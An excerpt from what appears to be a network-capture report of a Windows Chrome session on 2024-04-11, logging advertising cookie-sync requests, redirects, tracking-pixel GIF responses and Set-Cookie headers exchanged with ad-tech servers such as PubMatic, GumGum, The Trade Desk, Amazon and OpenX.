2024-04-11 21:27:01 UTC	757	OUT	GET /sync/pubmatic/25F9549E-136A-47E9-9171-DA44C0E0D5E3?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
2024-04-11 21:27:01 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-11 21:27:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.17	50136	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	723	OUT	GET /pubmatic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODA2JnRsPTUxODQwMA==&piggybackCookie=uid:$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	961	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Set-Cookie: suid=FF4FA33AD55F4AFDAF353CD71FB72BED; Path=/; domain=simpli.fi; Expires=Sat, 12-Apr-25 21:27:01 GMT; SameSite=none; Secure; Set-Cookie: suid_legacy=FF4FA33AD55F4AFDAF353CD71FB72BED; Path=/; domain=simpli.fi; Expires=Sat, 12-Apr-25 21:27:01 GMT; Secure; Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:FF4FA33AD55F4AFDAF353CD71FB72BED Expires: Wed, 10 Apr 2024 21:27:01 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-04-11 21:27:01 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.17	50164	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	785	OUT	GET /usersync?b=ttd&i=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.17	50150	3.223.215.115	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	753	OUT	GET /pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: ap.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	653	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Connection: close Location: https://ap.lijit.com/pixel?redir=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dsovrn%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID&sovrn_retry=true Set-Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL;Version=1;Domain=.lijit.com;Path=/;Max-Age=31536000;Secure; SameSite=None; Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, DELETE, PUT Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With, Content-Type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.17	50180	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	788	OUT	GET /usersync?b=adf&i=4976612847433979613&gdpr=&gdpr_consent= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.17	50168	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	540	OUT	GET /async_usersync?cbfn=queuePixels HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://acdn.adnxs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	1369	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fasync_usersync%3Fcbfn%3DqueuePixels AN-X-Request-Uuid: d565a82b-db15-4618-bfe0-1bb25395861a Set-Cookie: XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4283912458326592098; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.17	50167	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	702	OUT	GET /usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.17	50156	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	939	OUT	GET /check_uuid/https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dmediagrid%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24%7BBSW_UUID%7D?gdpr=0&gdpr_consent=&us_privacy=1---&user_id=3a6574e0-f84a-11ee-a9d1-333cefc92741 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
2024-04-11 21:27:01 UTC	365	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://exchange.mediavine.com/usersync/redirect?partner=mediagrid&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=4a756380-b7e0-40d8-87fd-f9b0074cc705

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
346	192.168.2.17	50129	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	692	OUT	GET /track/cmf/generic?ttd_pid=pubmatic&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
2024-04-11 21:27:01 UTC	625	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 355 Connection: close server: Kestrel location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent= set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:01 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI2oSbuZue7TwQBTgBWghwdWJtYXRpY2AC; expires=Fri, 11 Apr 2025 21:27:01 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:01 UTC	355	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 34 4e 44 6b 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 Data Ascii: Redirecting to: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent=">https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.17	50173	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	900	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:01 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:00 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.17	50143	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	847	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk\|t
2024-04-11 21:27:01 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: E3H9F0H0EJA9DYQ24RQN Set-Cookie: ad-id=A3c01U0v-EwcgdxAicOV5rk; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:01 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:01 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.17	50159	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	686	OUT	GET /usersync?b=oth&i=y-DAbm2JJE2pdrBnIlYtHgtwVlMTsTd9cDUHgS~A HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.17	50147	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	839	OUT	GET /w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:01 UTC	556	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; Version=1; Expires=Fri, 11-Apr-2025 21:27:01 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://usersync.gumgum.com/usersync?b=opx&i=6278d413-3e00-4a00-9da5-aefd13eef9ae Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.17	50166	198.148.27.131	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	924	OUT	GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: V=8CYd5xB94ljT; VP=part_8CYd5xB94ljT; pb_rtb_ev=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741; pb_rtb_ev_part=3-1qr4\|88N.0.3a6574e0-f84a-11ee-a9d1-333cefc92741; INGRESSCOOKIE=7acdf80a4cc27df5
